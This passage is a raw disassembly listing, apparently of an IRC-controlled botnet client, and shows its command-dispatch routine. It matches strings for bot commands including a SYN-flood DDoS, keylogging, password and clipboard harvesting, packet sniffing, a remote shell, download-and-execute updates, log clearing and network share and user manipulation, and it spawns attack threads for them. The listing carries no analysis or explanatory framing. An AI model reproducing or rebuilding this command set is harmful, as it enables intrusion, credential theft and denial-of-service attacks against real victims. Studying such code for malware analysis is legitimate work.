ecx jz loc_414ACF push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, offset dword_432788 jnz short loc_410249 mov eax, offset dword_432754 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_432694 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 26207A4h jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj call near ptr 26702AAh nop push eax push offset unk_432648 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_43251C loc_410654: ; CODE XREF: sub_40EE72+5C58j call sub_40BF6D jmp loc_414F46 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 push edi push offset aSa ; "sa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA4 test eax, eax pop ecx jle short loc_410BC1 push offset unk_432250 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432210 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h call near ptr 26207A4h nop jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj call near ptr 26702AAh nop push eax push offset unk_4321C4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_432178 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_432140 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_4320E0 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4320A4 loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA4 test eax, eax pop ecx jle short loc_410D5E push offset unk_432074 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432044 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h call near ptr 26207A4h nop jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j call near ptr 26702AAh nop push eax push offset unk_431FF8 loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43AE68, ebx jz short loc_410EB2 cmp dword_43AE90, ebx jz short loc_410EB2 push offset dword_431FA8 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_431F6C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_431F3C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_431EE0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_431EB0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_431E78 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_431E4C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4852j ; sub_40EE72+4B79j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_4110BD: ; CODE XREF: sub_40EE72+5703j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_431E1C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_431DF0 loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4847j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B35j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset 